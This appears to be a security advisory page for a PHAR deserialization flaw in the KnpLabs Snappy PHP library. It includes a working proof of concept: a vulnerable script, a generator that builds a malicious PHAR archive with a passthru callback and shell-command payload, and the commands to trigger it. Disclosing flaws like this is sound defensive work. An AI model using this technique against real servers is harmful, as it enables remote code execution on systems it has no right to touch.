PHAR deserialization allowing remote code execution
Snappy passes a user-controlled output path to file_exists() without validating the protocol, so a phar:// path triggers deserialisation of an uploaded file's metadata. An attacker who can upload a file and control the output path can instantiate arbitrary PHP objects, leading to remote code execution if a POP chain exists.
KnpLabs/snappy
Originally disclosed on huntr
Description
snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.
Proof of Concept
Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
// vulnerable object
class VulnerableClass {
public $fileName;
public $callback;
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');
As an attacker, we going to generate the malicious phar using this script.
<?php
// generate_phar.php
class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Then run these command to generate the file
php --define phar.readonly=0 generate_phar.php
Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.
Impact
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
Occurences
References
From the GitHub Advisory Database (GHSA-gq6w-q6wh-jggc, CC BY 4.0).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the output path is passed to file_exists() without checking that it uses a safe protocol, allowing the phar:// wrapper to trigger deserialisation.
Impact
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
What the attacker needed
Attacker can upload a file; attacker controls output path; vulnerable POP chain present
How it was found
- Install Snappy with composer.
- Create an index.php that calls generateFromHtml() with a phar:// output path.
- Generate a malicious PHAR archive containing a serialised object with a callback.
- Run the generator script with phar.readonly disabled.
- Execute index.php to trigger deserialisation and the callback.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
PHP's phar:// wrapper treats a file as an archive and automatically unserialises its metadata when functions like file_exists() touch it. If an application lets an attacker choose a path that starts with phar://, the attacker can upload a crafted archive and have the server create objects from it. Those objects can run code when they are destroyed, which is why this can become remote code execution.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.